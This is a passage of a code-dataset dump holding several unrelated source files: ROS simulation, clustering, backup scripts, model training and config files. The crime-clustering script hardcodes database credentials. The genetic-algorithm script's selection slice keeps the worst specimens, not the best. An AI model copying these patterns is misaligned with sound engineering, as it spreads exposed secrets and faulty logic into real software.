__repr__(self):\n\t\treturn '<%s %s>' % (self.__class__.__name__,\n\t\t\t\t\t\t\tid(self)) #pragma NO COVERAGE\n\ndef make_plugin(hosts='127.0.0.1:11211',\n\t\t\t\tcookie_name='mc_tkt',\n\t\t\t\ttimeout=None, \n\t\t\t\treissue_time=None,\n\t\t\t\tdebug=0):\n\tif timeout:\n\t\ttimeout = int(timeout)\n\tif reissue_time:\n\t\treissue_time = int(reissue_time)\n\tif debug:\n\t\tdebug = int(debug)\n\n\tplugin = MemcachedPlugin(\thosts,\n\t\t\t\t\t\t\t\tcookie_name,\n\t\t\t\t\t\t\t\ttimeout,\n\t\t\t\t\t\t\t\treissue_time,\n\t\t\t\t\t\t\t\tdebug)\n\treturn plugin\n","sub_path":"repoze/who/plugins/memcached.py","file_name":"memcached.py","file_ext":"py","file_size_in_byte":8163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"521193312","text":"#!/usr/bin/env python\nimport sys\nimport json\nimport subprocess\n\n# Read the distribution info\nwith open('/etc/os-release') as f:\n dist = {}\n for line in f:\n k,v = line.rstrip().split('=')\n v = v.strip('\"')\n dist[k] = v\n\ndist['BASE_VERSION'] = dist['VERSION_ID'].split('.')[0]\nprint(\"Current system: %(NAME)s %(VERSION_ID)s [base version: %(BASE_VERSION)s]\" % dist)\n\ncmd = ['SUSEConnect', '-s']\nproc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\nstdout, stderr = proc.communicate()\n\nif proc.returncode != 0:\n print(\"Error executing command: %s\" % ' '.join(cmd))\n print(\"stderr: %s\" % stderr)\n print(\"stdout: %s\" % stdout)\n\n# SUSEConnect status of every product (base product, extension or module),\n# should has the same version with current system, either \"Not Registered\"\n# or \"Registered\" products.\n# Return the account of missing matched product\nret = 0\nfor prod in json.loads(stdout, encoding=\"utf-8\"):\n prod['base_version'] = prod['version'].split('.')[0]\n prod['result'] = 'match'\n\n # Module version is not service pack specific\n if prod['identifier'].find('module') != -1:\n if dist['BASE_VERSION'] != prod['base_version']:\n prod['result'] = 'mismatch'\n else:\n if dist['VERSION_ID'] != prod['version']:\n prod['result'] = 'mismatch'\n\n if prod['result'] == 'mismatch':\n ret += 1\n print(\"Product %(identifier)s with version %(version)s is %(status)s [%(result)s]\" % prod)\n\nsys.exit(ret)\n","sub_path":"data/console/check_registration_status.py","file_name":"check_registration_status.py","file_ext":"py","file_size_in_byte":1514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"346767035","text":"#!/usr/bin/env python\n\"\"\"\n#DroMOOC (www.onera.fr/dromooc)\n#ONERA-ENSTA-CentraleSupelec-Paris Saclay\n#all variables are in SI unit\n\"\"\"\n\nimport rospy\nimport tf\nfrom geometry_msgs.msg import Quaternion#, Wrench\nfrom nav_msgs.msg import Odometry\nfrom simulator.msg import Thrust, Force, Torque, MotorSpeeds, RPYAngles\nimport quadrotorClass\n\n\n\n# node init\nrospy.init_node('quadrotorSimu', anonymous=False)\n\n\n# quadrotor object\nquadrotor = quadrotorClass.Quadrotor()\nT = quadrotor.g0 * quadrotor.m\nGamma1 = 0.\nGamma2 = 0.\nGamma3 = 0.\nFext_x = 0.\nFext_y = 0.\nFext_z = 0.\n\n\n\n# publishers\n# -----------\n# odometry\npubOdometry = rospy.Publisher('odom', Odometry, queue_size=50)\npubRPYAngles = rospy.Publisher('RPYAngles', RPYAngles, queue_size=50)\n\n\n# frequency of integration\nfint = 100.\nTint = 1./fint\nintegrationRate = rospy.Rate(fint)\n\n\n# tf broadcaster\n# ---------------\nodomTFBroadcaster = tf.TransformBroadcaster()\n\n\n''' a passer en param statique '''\ninputMode = 'ThrustAndTorques' # 'MotorSpeeds\"\n\n\n\n# subscribers callbacks\n# ----------------------\n\n\n# -----------------------------------------------------------------------------\ndef callBackThrust(data):\n# -----------------------------------------------------------------------------\n global T\n \n T = data.thrust\n# ----------------------------------------------------------------------------- \n\n\n# -----------------------------------------------------------------------------\ndef callBackTorque(data):\n# -----------------------------------------------------------------------------\n global Gamma1, Gamma2, Gamma3\n \n Gamma1 = data.torque.x\n Gamma2 = data.torque.y\n Gamma3 = data.torque.z\n# ----------------------------------------------------------------------------- \n\n\n\n# -----------------------------------------------------------------------------\ndef callBackFext(data):\n# -----------------------------------------------------------------------------\n global Fext_x, Fext_y, Fext_z\n \n Fext_x = data.force.x\n Fext_y = data.force.y\n Fext_z = data.force.z\n# ----------------------------------------------------------------------------- \n\n\n\n\n\n\n'''\n# -----------------------------------------------------------------------------\ndef callBackWrench(data):\n# -----------------------------------------------------------------------------\n global T, Gamma1, Gamma2, Gamma3\n \n T = data.force.z\n Gamma1 = data.torque.x\n Gamma2 = data.torque.y\n Gamma3 = data.torque.z\n \n# ----------------------------------------------------------------------------- \n''' \n \n# subscribers\n# ------------\n#rospy.Subscriber(\"inputWrench\", Wrench, callBackWrench)\nrospy.Subscriber(\"thrust\", Thrust, callBackThrust)\nrospy.Subscriber(\"torque\", Torque, callBackTorque)\nrospy.Subscriber(\"Fext\", Force, callBackFext)\n\n\n\n# main node loop\n# ---------------\n\n# -----------------------------------------------------------------------------\nif __name__ == '__main__':\n# -----------------------------------------------------------------------------\n #rospy.spin() \n #global quadrotor\n\n odomMsg = Odometry()\n odomMsg.header.frame_id ='world'\n odomMsg.child_frame_id = 'quadrotor'\n\n RPYAnglesMsg = RPYAngles()\n \n t = rospy.get_time()\n quaternion = Quaternion()\n\n while not rospy.is_shutdown():\n quadrotor.stateUpdateFromInput([T, Gamma1, Gamma2, Gamma3], inputType=inputMode, FextVector=[Fext_x, Fext_y, Fext_z], Ts=Tint)\n \n quat = tf.transformations.quaternion_from_euler(quadrotor.phi, quadrotor.theta, quadrotor.psi) # roll, pitch, yaw\n quaternion = Quaternion(*tf.transformations.quaternion_from_euler(quadrotor.phi, quadrotor.theta, quadrotor.psi))\n \n # time\n timeNow = rospy.Time.now()\n \n # broadcast TF\n odomTFBroadcaster.sendTransform( (quadrotor.x, quadrotor.y, quadrotor.z), quat, timeNow, \"quadrotor\", \"world\")\n\n # odometry msgs \n odomMsg.header.seq = odomMsg.header.seq + 1\n odomMsg.header.stamp = timeNow\n \n odomMsg.pose.pose.position.x = quadrotor.x\n odomMsg.pose.pose.position.y = quadrotor.y\n odomMsg.pose.pose.position.z = quadrotor.z\n odomMsg.pose.pose.orientation.x = quaternion.x\n odomMsg.pose.pose.orientation.y = quaternion.y\n odomMsg.pose.pose.orientation.z = quaternion.z\n odomMsg.pose.pose.orientation.w = quaternion.w\n \n \n odomMsg.twist.twist.linear.x = quadrotor.Vx\n odomMsg.twist.twist.linear.y = quadrotor.Vy\n odomMsg.twist.twist.linear.z = quadrotor.Vz\n odomMsg.twist.twist.angular.x = quadrotor.Omega_p\n odomMsg.twist.twist.angular.y = quadrotor.Omega_q \n odomMsg.twist.twist.angular.z = quadrotor.Omega_r\n \n \n # Roll Pitch Yaw angles msg\n RPYAnglesMsg.header.seq = RPYAnglesMsg.header.seq + 1\n RPYAnglesMsg.header.stamp = timeNow\n\n RPYAnglesMsg.roll = quadrotor.phi\n RPYAnglesMsg.pitch = quadrotor.theta\n RPYAnglesMsg.yaw = quadrotor.psi\n \n \n # msgs publications\n pubOdometry.publish(odomMsg)\n pubRPYAngles.publish(RPYAnglesMsg)\n\n\n integrationRate.sleep()\n\n# -----------------------------------------------------------------------------\n","sub_path":"scripts/quadrotorSimu.py","file_name":"quadrotorSimu.py","file_ext":"py","file_size_in_byte":5348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"184251242","text":"from sklearn.cluster import KMeans\nfrom scipy.cluster.vq import kmeans, vq\nimport numpy as np\nimport json\nfrom scipy import stats\nimport datetime\nimport itertools\nimport collections\nimport dml\nimport prov.model\nimport urllib.request\nimport uuid\nfrom math import *\n\ndef distanceToPolice(coord1,coord2):\n def haversin(x):\n return sin(x/2)**2 \n return 2 * asin(sqrt(\n haversin(radians(coord2[0])-radians(coord1[0])) +\n cos(radians(coord1[0])) * cos(radians(coord2[0])) * haversin(radians(coord2[1])-radians(coord1[1]))))*6371\n\ndef notWithinOneKm(a,listb):\n for j in listb:\n if distanceToPolice(a,j) >= 1:\n return True\n\nclass get_crimerate_clusters(dml.Algorithm):\n contributor = 'ashleyyu_bzwtong_xhug'\n reads = ['ashleyyu_bzwtong.crimerate']\n writes = ['ashleyyu_bzwtong_xhug.crimerate_clusters']\n\n\n\n @staticmethod\n def execute(trial=False, logging=True, cluster_divisor=300):\n\n startTime = datetime.datetime.now()\n\n if logging:\n print(\"in get_crimerate_clusters.py\")\n\n # Set up the database connection.\n client = dml.pymongo.MongoClient()\n repo = client.repo\n repo.authenticate('ashleyyu_bzwtong', 'ashleyyu_bzwtong')\n\n # Get the coordinates of Boston Police Stations\n url = 'http://datamechanics.io/data/ashleyyu_bzwtong/cityOfBostonPolice.json'\n response = urllib.request.urlopen(url).read().decode(\"utf-8\")\n police = json.loads(response)\n policeStation = police['data']['fields'][3]['statistics']['values']\n coordinates = []\n for i in policeStation:\n coordinates.append((i['lat'],i['long']))\n\n # Get crime incident locations\n crimerate = repo['ashleyyu_bzwtong.crimerate'].find()\n coords_input = [tuple(row['Location'].replace('(', '').replace(')', '').split(','))\n for row in crimerate if row['Location'] != '(0.00000000, 0.00000000)'\n and row['Location'] != '(-1.00000000, -1.00000000)' ]\n\n coords_input = [(float(lat), float(lon)) for (lat, lon) in coords_input]\n\n n_clusters = len(coords_input)//cluster_divisor\n X = np.array(coords_input)\n # looks like [(lat, long), (lat, long), (lat, long)...]\n\n kmeans_output = KMeans(n_clusters, random_state=0).fit(X)\n centroids = kmeans_output.cluster_centers_.tolist()\n newcentroids = [(a,b) for [a,b] in centroids]\n print(newcentroids)\n helpcenters = [(a,b) for (a,b) in newcentroids if notWithinOneKm((a,b),coordinates)]\n print(helpcenters)\n crimerate_clusters_dict = {'crimerate_clusters': helpcenters}\n\n repo.dropCollection(\"crimerate_clusters\")\n repo.createCollection(\"crimerate_clusters\")\n\n repo['ashleyyu_bzwtong.crimerate_clusters'].insert_one(crimerate_clusters_dict)\n repo['ashleyyu_bzwtong.crimerate_clusters'].metadata({'complete':True})\n\n repo.logout()\n\n endTime = datetime.datetime.now()\n\n return {\"start\":startTime, \"end\":endTime}\n\n @staticmethod\n def provenance(doc = prov.model.ProvDocument(), startTime = None, endTime = None):\n client = dml.pymongo.MongoClient()\n repo = client.repo\n repo.authenticate('ashleyyu_bzwtong','ashleyyu_bzwtong')\n\n doc.add_namespace('alg', 'http://datamechanics.io/algorithm/ashleyyu_bzwtong/') # The scripts are in # format.\n doc.add_namespace('dat', 'http://datamechanics.io/data/ashleyyu_bzwtong/') # The data sets are in # format.\n doc.add_namespace('ont', 'http://datamechanics.io/ontology#') # 'Extension', 'DataResource', 'DataSet', 'Retrieval', 'Query', or 'Computation'.\n doc.add_namespace('log', 'http://datamechanics.io/log#') # The event log.\n\n #Agent\n this_script = doc.agent('alg:get_crimerate_clusters', {prov.model.PROV_TYPE:prov.model.PROV['SoftwareAgent'], 'ont:Extenstion':'py'})\n\n #Resource\n resource = doc.entity('dat:crimerate', {'prov:label': 'Crimerate', prov.model.PROV_TYPE:'ont:DataResource'})\n\n #Activities\n this_run = doc.activity('log:a'+str(uuid.uuid4()), startTime, endTime, {prov.model.PROV_TYPE:'ont:Computation'})\n\n #Usage\n doc.wasAssociatedWith(this_run, this_script)\n\n doc.used(this_run, resource, startTime)\n\n #New dataset\n crimerate_clusters = doc.entity('dat:crimerate_clusters', {prov.model.PROV_LABEL:'Crimerate Clusters',prov.model.PROV_TYPE:'ont:DataSet'})\n doc.wasAttributedTo(crimerate_clusters, this_script)\n doc.wasGeneratedBy(crimerate_clusters, this_run, endTime)\n doc.wasDerivedFrom(crimerate_clusters, resource, this_run, this_run, this_run)\n\n repo.logout()\n return doc\n\nget_crimerate_clusters.execute()\ndoc = get_crimerate_clusters.provenance()\nprint(doc.get_provn())\nprint(json.dumps(json.loads(doc.serialize()), indent=4))\n\n\n\n\n","sub_path":"ashleyyu_bzwtong_xhug/crimerate_clusters.py","file_name":"crimerate_clusters.py","file_ext":"py","file_size_in_byte":5209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"504977531","text":"from aioframe.models import Model\nimport psycopg2\n\n\ndef test_name_raw_query(db_Model):\n d = db_Model\n _c = d.query('select 1 as a', name='A2')\n assert _c.__class__.__name__ == 'A2'\n\n\ndef test_get_query_object_with_attr(db_Model):\n d = db_Model\n _c = d.query('select %s as vasa, %s as petya', (1, 'name'), name='A1')\n assert (_c.vasa, _c.petya) == (1, 'name')\n\n\ndef test_model_code_for_attr(db_Model):\n d = db_Model\n _c = d.query('select %s as vasa, %s as petya', (1, 'name'), name='A1')\n mod = __import__('tests.test_models.models', fromlist=['A1'])\n assert (mod.A1.petya, mod.A1.vasa) == (705, 23)\n\n\ndef test_get_cursor_with_close(db_Model):\n d = db_Model\n d.query('select 1')\n id_c = id(d.cursor)\n d.cursor.close()\n d.query('select 1')\n assert id_c != (id(d.cursor))\n","sub_path":"tests/test_models/test_base.py","file_name":"test_base.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"173830623","text":"'''\n344. Reverse String My Submissions QuestionEditorial Solution\nTotal Accepted: 9422 Total Submissions: 16025 Difficulty: Easy\nWrite a function that takes a string as input and returns the string reversed.\n\nExample:\nGiven s = \"hello\", return \"olleh\".\n'''\nclass Solution(object):\n def reverseString(self, s):\n \"\"\"\n :type s: str\n :rtype: str\n \"\"\"\n #return s[::-1]\n \n start = 0\n end = len(s) - 1\n res = list(s)\n while start < end: \n res[start],res[end] = res[end],res[start]\n start += 1\n end -= 1\n return \"\".join(res)\n ","sub_path":"344_reverse_str.py","file_name":"344_reverse_str.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"182356691","text":"import numpy as np\n\nMUTATION_AMOUNT = 0.1\nMUTATION_CHANCE = 0.5\nGENERATION_SIZE = 1000\nTOP_CUTOFF = 20\n\n\nclass Specimen:\n\t#This class contains all the info for the specimen\n\t#the 'dna' defines how much to change each part of the image\n\tdef __init__(self, dna, mutate):\n\n\t\tif type(dna) == int and dna == 0:\n\t\t\t#hardcoded for the cifar-10 dataset\n\t\t\tself.dna = np.zeros(1024)\n\t\telse:\n\t\t\tself.dna = dna\n\n\t\tif mutate:\n\t\t\tself.mutate(MUTATION_CHANCE, MUTATION_AMOUNT)\n\n\t\tself.generation = 0\n\n\tdef mutate(self, chance, mutation_amount):\n\t\tfor sample, value in enumerate(np.random.uniform(0, 1, 1024)):\n\t\t\t#mutate that dna variable if the generated float is less than that percentage\n\t\t\tif value <= chance:\n\t\t\t\t#randomly adds or subtracts the mutation amount\n\t\t\t\tself.dna[sample] += mutation_amount * ((-1)** np.random.randint(2))\n\n\tdef evaluate_specimen(self):\n\t\tpass\n\n#a generation is a collection of specimens\nclass Generation:\n\n\tdef __init__(self, generation_size, random):\n\t\tself.members = []\n\t\tfor i in range(generation_size):\n\t\t\t#add new individuals to the members of the generation\n\t\t\tif random:\n\t\t\t\tself.members.append(Specimen(np.random.uniform(0,1,1024), True))\n\t\t\telse:\n\t\t\t\tself.members.append(Specimen(0, True))\n\t\tself.epoch = 0\n\tdef clear(self):\n\t\tself.members = []\n\n\tdef evolve(self, fitness):\n\t\tsorted_members = []\n\t\t#apply the fitness function to each of the members of the generation\n\t\tfor specimen in self.members:\n\t\t\tsorted_members.append((specimen, fitness(specimen)))\n\n\t\t#select the top performers of each generation\n\t\tsorted_members = sorted(sorted_members, key=lambda x : x[1])\n\t\tsorted_members.reverse()\n\t\tsorted_members = sorted_members[TOP_CUTOFF:]\n\n\t\tself.clear()\n\n\t\t#breed the top performers to generate new members\n\t\twhile len(self.members) < GENERATION_SIZE:\n\t\t\tfather = sorted_members[np.random.randint(TOP_CUTOFF)][0]\n\t\t\tmother = sorted_members[np.random.randint(TOP_CUTOFF)][0]\n\n\t\t\tchild = breed(mother, father)\n\n\t\t\tself.members.append(child)\n\n\n\n\n#breed defined outside for philosophical reasons\n#it makes more sense to me to apply the function to two specimens and return one than call it on a specimen\n\ndef breed(specimen1, specimen2):\n\t#we will mutate after breeding\n\tchild = Specimen(0, False)\n\n\t#both specimens have the exact sample number of genes by design\n\t#choose a random gene from each parent\n\tfor index, gene in enumerate(specimen1.dna):\n\t\tif np.random.randint(2):\n\t\t\tchild.dna[index] = gene\n\t\telse:\n\t\t\tchild.dna[index] = specimen2.dna[index]\n\n\t#mutates the new child\n\tchild.mutate(MUTATION_CHANCE, MUTATION_AMOUNT)\n\tchild.generation = specimen1.generation + 1\n\n\treturn child\n\n#fitness function for debugging\ndef fitness_test(specimen):\n\treturn np.sum(specimen.dna) / 1024.0\n\ndef average_fitness(generation):\n\taverage = 0.0\n\tfor member in generation.members:\n\t\taverage += fitness_test(member)\n\treturn average / GENERATION_SIZE\n\n\ng = Generation(GENERATION_SIZE, True)\n\nfor epoch in range(100):\n\tprint(\"evolving, epoch: %d\" % epoch)\n\tg.evolve(fitness_test)\n\tprint(\"generation fitness: %f\" % average_fitness(g))\n","sub_path":"specimen.py","file_name":"specimen.py","file_ext":"py","file_size_in_byte":3048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"399125434","text":"\"\"\"Backup OCCAS after it is activated\"\"\"\n\n\nimport logging\nimport os\nimport os.path\nimport optparse\nimport functions\nimport const\nfrom rda_base import cluster\nfrom rda_base import util\n\n\ndef parse_options():\n \"\"\"parse command line options\"\"\"\n parser = optparse.OptionParser(usage='there are following OCCAS backup/restore options:')\n parser.add_option('--targetdir',\n help='the top directory to store backup files',\n dest='backup_dir',\n default='/var/lib/occas/backup',\n action='store')\n parser.add_option('--logfile',\n help='the log file where to write messages',\n dest='log_file',\n default=None,\n action='store')\n parser.add_option('--verbose',\n dest=\"verbose\",\n help=\"print verbose information\",\n default=False,\n action=\"store_true\")\n parser.add_option('--data',\n help='only backup or restore OCCAS Java EE applications',\n dest='enable_data',\n default=None,\n action='store_true')\n parser.add_option('--config',\n help='only backup or restore OCCAS configuration files',\n dest='enable_config',\n default=None,\n action='store_true')\n parser.add_option('--skip-adminserver',\n help='do not touch any adminserver files',\n dest='skip_admin',\n default=None,\n action='store_true')\n options = parser.parse_args()[0]\n if options.enable_data is None and options.enable_config is None:\n options.enable_data = True\n options.enable_config = True\n return (options.backup_dir,\n options.log_file,\n options.verbose,\n options.enable_data,\n options.enable_config,\n options.skip_admin)\n\n\ndef backup_adminserver_config(backup_dir):\n \"\"\"backup admin server configuration files\"\"\"\n src_dir = '/cluster/home/occas/domains/domain1'\n dst_file = os.path.join(backup_dir, 'domain1_adminserver.tar.gz')\n ignore_names = ['*.log*', '*.out*']\n ignore_paths = ['*/tmp']\n util.backup_directory(src_dir, dst_file, ignore_names, ignore_paths)\n\n\ndef backup_managedserver_config(backup_dir):\n \"\"\"backup managed server configuration files\"\"\"\n src_dir = '/var/lib/occas/domains/domain1'\n dst_file = os.path.join(backup_dir, 'domain1_managedserver.tar.gz')\n ignore_names = ['*.log*', '*.out*']\n ignore_paths = ['*/tmp']\n util.backup_directory(src_dir, dst_file, ignore_names, ignore_paths)\n\n\ndef backup_nodemanager_config(backup_dir):\n \"\"\"backup node manager configuration files\"\"\"\n src_dir = '/opt/occas/wlserver/common/nodemanager'\n dst_file = os.path.join(backup_dir, 'domain1_nodemanager.tar.gz')\n ignore_names = ['*.log*', '*.out*']\n ignore_paths = ['*/tmp']\n util.backup_directory(src_dir, dst_file, ignore_names, ignore_paths)\n\n\ndef backup_applications(backup_dir):\n \"\"\"backup Java EE applications\"\"\"\n src_dir = '/cluster/home/occas'\n dst_file = os.path.join(backup_dir,\n 'applications.tar.gz')\n ignore_names = []\n ignore_paths = ['/cluster/home/occas/domains/domain1']\n util.backup_directory(src_dir, dst_file, ignore_names, ignore_paths, tmp_dir='/tmp')\n\n\ndef main():\n \"\"\"main entry for backup\"\"\"\n backup_dir, _, _, enable_data, enable_config, skip_admin = parse_options()\n conf = cluster.load_conf()\n\n if conf.current_node_index(const.DP_NGIN_ADMIN) == 1 and not skip_admin:\n if enable_config:\n backup_adminserver_config(backup_dir)\n if enable_data:\n backup_applications(backup_dir)\n\n if enable_config:\n backup_managedserver_config(backup_dir)\n backup_nodemanager_config(backup_dir)\n\n\nif __name__ == '__main__':\n functions.check_user_is_root()\n util.init_log(format_in_console='[%(levelname)s] %(message)s', level_in_console=logging.INFO)\n main()\n","sub_path":"occas-config/src/main/python/backup.py","file_name":"backup.py","file_ext":"py","file_size_in_byte":4194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"640774351","text":"#!/usr/bin/env python\nimport argparse\nimport os,sys,io,time,json\nimport tensorflow as tf\nimport horovod.tensorflow as hvd\nfrom data import initial_embedding,set_result_path\nfrom seq_model import SeqModel\nfrom utils import str2bool\nfrom utils import get_logger\nfrom train_model import TrainFramework\ntf.compat.v1.logging.set_verbosity(tf.compat.v1.logging.ERROR)\nsys.stdout = io.TextIOWrapper(sys.stdout.detach(),encoding='utf8')\n## hyperparameters\nparser = argparse.ArgumentParser(description='CNN-CRF for Chinese word segmentation task')\nparser.add_argument('--encoding', type=str, default='utf-8', help='train data source')\nparser.add_argument('--pretrain_embedding', type=str, default='random', help='train data source')\nparser.add_argument('--train_dat_path', type=str, default='./data_path/train.dat', help='train data source')\nparser.add_argument('--valid_dat_path', type=str, default='./data_path/test.dat', help='train data source')\nparser.add_argument('--test_dat_path', type=str, default='./data_path/test.dat', help='train data source')\nparser.add_argument('--extract_result_path', type=str, default='./data_path/pred_result.dat', help='the extract resulf file')\nparser.add_argument('--model_path', type=str, default='cnn', help='train data source')\nparser.add_argument('--restore_model_path', type=str, default='cnn', help='train data source')\nparser.add_argument('--word_to_id_path', type=str, required=True, help='word2id data source')\nparser.add_argument('--tag_to_id_path', type=str, required=True, help='tag2id data source')\nparser.add_argument('--dataset_to_flag_path', type=str, default=True, help='dataset2flag data source')\nparser.add_argument('--bert_base_dir', type=str, default=True, help='dataset2flag data source')\nparser.add_argument('--batch_size', type=int, default=32, help='#sample of each minibatch')\nparser.add_argument('--layer_depth', type=int, default=6, help='#sample of each minibatch')\nparser.add_argument('--filter_width', type=str, default='3', help='filter_width')\nparser.add_argument('--num_filters', type=int, default=100, help='filter_width')\nparser.add_argument('--epoch', type=int, default=10, help='#epoch of training')\nparser.add_argument('--min_epoch', type=int, default=1, help='#min epoch of training')\nparser.add_argument('--max_step', type=int, default=2000000000, help='epoch of training')\nparser.add_argument('--eval_step', type=int, default=5000, help='evaluate every eval_step')\nparser.add_argument('--warmup_step', type=int, default=2000, help='')\nparser.add_argument('--lr', type=float, default=0.02, help='learning rate')\nparser.add_argument('--dropout', type=float, default=0.1, help='dropout keep_prob')\nparser.add_argument('--mode', type=str, default='train', help='train/test/demo/dropout_pred')\nparser.add_argument('--cuda_num', type=str, default='4', help='the folds need to produce result')\nparser.add_argument('--hidden_dim', type=int, default=100, help='dim of hidden state')\nparser.add_argument('--ngram_dim', type=int, default=100, help='dim of hidden state')\nparser.add_argument('--embedding_dim', type=int, default=100, help='dim of hidden state')\nparser.add_argument('--optimizer', type=str, default='Adam', help='Adam/Adadelta/Adagrad/RMSProp/Momentum/SGD')\nparser.add_argument('--restore', type=str2bool, default=False, help='')\nparser.add_argument('--seq_mode', type=str, default='Ner', help='Ner or Seg')\nparser.add_argument('--model_name', type=str, default='cnn_ngram', help='Bert or cnn_ngram')\nparser.add_argument('--texts', type=str, default='conll2', help='ngram or conell noise ....')\nparser.add_argument('--use_hvd', type=str2bool, default='True', help='hovod to speed')\nparser.add_argument('--save_max', type=str2bool, default='True', help='.')\nparser.add_argument('--max_to_keep', type=int, default='2', help='.')\nparser.add_argument('--largefile', type=str2bool, default='True', help='read file or yeild read file')\nparser.add_argument('--lambda1', type=float, default=1.0, help='tag loss')\nparser.add_argument('--lambda2', type=float, default=1.0, help='description loss')\nparser.add_argument('--lambda3', type=float, default=1.0, help='cls loss')\nparser.add_argument('--lambda4', type=float, default=1.0, help='pair loss')\n\n\n\n\n\nargs = parser.parse_args()\npaths=set_result_path(args.model_path)\nlogger = get_logger(paths['log_path'])\nargs_dict = vars(args)\nargs_str = json.dumps(args_dict, sort_keys=True, indent=4, separators=(',', ': '))\nlogger.info(args_str)\n\n#Initialize Horovod and Session config\nconfig = tf.ConfigProto()\nconfig.gpu_options.allow_growth = True\nif args.use_hvd:\n hvd.init()\n seed = hvd.rank()\n #logger.info(\"Hvd rank:\",seed,\",Local rank: \",hvd.local_rank(),\", hvd size : \",hvd.size())\n config.gpu_options.visible_device_list = str(hvd.local_rank())\nelse:\n hvd=False\n #os.environ['CUDA_VISIBLE_DEVICES'] = 2,3\n#os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\n\n\n# set embeddings\nembeddings, bigram, trigram = None, None, None\nif args.pretrain_embedding != 'random':\n embeddings, bigram, trigram = initial_embedding(args.embedding_dim,args.pretrain_embedding)\n logger.info(\"use pretrained embeddings\")\n\n## training model\nif args.mode == 'train':\n if args.restore:\n restore_model_path = os.path.join(args.restore_model_path, \"checkpoints\")\n ckpt_file = tf.train.latest_checkpoint(restore_model_path)\n logger.info('restore_model_path: %s' % restore_model_path)\n paths['restore_model_path'] = ckpt_file\n logger.info('Restore from %s' % ckpt_file)\n model = SeqModel(args, logger,hvd)\n if args.model_name=='bert':\n model.build_bert_graph(args.bert_base_dir)\n print(\"Over build Bert model\")\n elif args.model_name=='cnn_ngram':\n model.build_cnn_ngram_graph(args.num_filters,args.filter_width,embeddings,bigram,trigram)\n else:\n logger.info(\"Bad model name!!!!\")\n logger.info(\"begin train:\")\n seq_model_op = TrainFramework(model,paths,config) \n seq_model_op.train(train=args.train_dat_path, dev=args.valid_dat_path)\n\n## given the input data and output the predicted results\nelif args.mode == 'extract':\n model_path = os.path.join(args.model_path, \"checkpoints\")\n ckpt_file = tf.train.latest_checkpoint(model_path)\n paths['model_path'] = ckpt_file\n logger.info('model_path: %s' % ckpt_file)\n model = SeqModel(args, logger)\n if args.model_name=='bert':\n model.build_bert_graph(args.bert_base_dir)\n elif args.model_name=='cnn_ngram':\n model.build_cnn_ngram_graph(args.num_filters,args.filter_width,embeddings,bigram,trigram)\n else:\n logger.info(\"Bad model name!!!!\")\n test_path = args.test_dat_path\n logger.info(\"test_path: %s\" % test_path)\n logger.info(\"begin test:\")\n seq_model_op = TrainFramework(model,paths,config) \n seq_model_op.extract(test=args.test_dat_path,ofile=args.extract_result_path)\nelse:\n logger.info('Error Mode parameter')\n","sub_path":"seq2seq/run_main.py","file_name":"run_main.py","file_ext":"py","file_size_in_byte":6915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"197656034","text":"from django.conf.urls.defaults import *\nfrom django.conf import settings\n# Uncomment the next two lines to enable the admin:\n# from django.contrib import admin\n# admin.autodiscover()\n\nurlpatterns = patterns('',\n # Example:\n (r'^static/(?P.*)$', 'django.views.static.serve',\n {'document_root': settings.STATIC_DOC_ROOT}),\n (r'^', include('printqueue.viewer.urls')),\n)\n","sub_path":"printqueue/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"228530656","text":"# -*- coding: utf-8 -*-\n#\n\nimport sys\nimport os\nimport shutil\n\n# The suffix of source filenames.\nfrom recommonmark.parser import CommonMarkParser\nfrom recommonmark.transform import AutoStructify\n\n# Assure symbolic link is removed\nif os.path.lexists('docs') and os.path.islink('docs'):\n os.remove('docs')\nelse:\n shutil.rmtree('docs', ignore_errors=True)\n\n# Create symbolic link\nif os.path.exists('../../docs'):\n os.symlink('../../docs', './docs')\n\n# Default doxygen location\ndoxyDir = os.path.join(os.path.expanduser('~'),\n 'cmake_builds',\n 'cpt_sys_sw-fpga-sw',\n 'doc',\n 'xml')\n\n# Assure symbolic link is removed?\nif os.path.exists(doxyDir) and not os.path.exists('doxygen_xml'):\n os.symlink(doxyDir, './doxygen_xml')\n\n# Enabled extensions\nextensions = [\n 'sphinx.ext.autodoc',\n 'sphinx.ext.intersphinx',\n 'sphinx.ext.todo',\n 'sphinx.ext.coverage',\n 'breathe'\n]\n\n# Use breathe to include doxygen documents\nbreathe_projects = {'FPGA-API' : 'doxygen_xml/'}\nbreathe_default_project = 'FPGA-API'\n\n# Markdown/Org-mode extension\nsys.path.append(os.path.abspath('_contrib'))\nextensions += [\"sphinxcontrib_markdown\"]\n\n# Add any paths that contain templates here, relative to this directory.\ntemplates_path = ['_templates']\n\n# The encoding of source files.\nsource_encoding = 'utf-8-sig'\n\n# The suffix of source filenames.\nsource_suffix = ['.md', '.rst']\n\n# The master toctree document.\nmaster_doc = 'index'\n\n# General information about the project.\nproject = u'OPAE'\ncopyright = u'2017 Intel Corporation'\nauthor = u'Intel DCG FPT SW'\n\n# The version info for the project you're documenting\n#\n# The short X.Y version.\nversion = u'0.9.0'\n# The full version, including alpha/beta/rc tags.\nrelease = u'0.9.0'\n\n# This is also used if you do content translation via gettext catalogs.\n# Usually you set \"language\" from the command line for these cases.\nlanguage = 'en'\n\n# List of patterns, relative to source directory, that match files and\n# directories to ignore when looking for source files.\nexclude_patterns = ['_build', 'Thumbs.db', 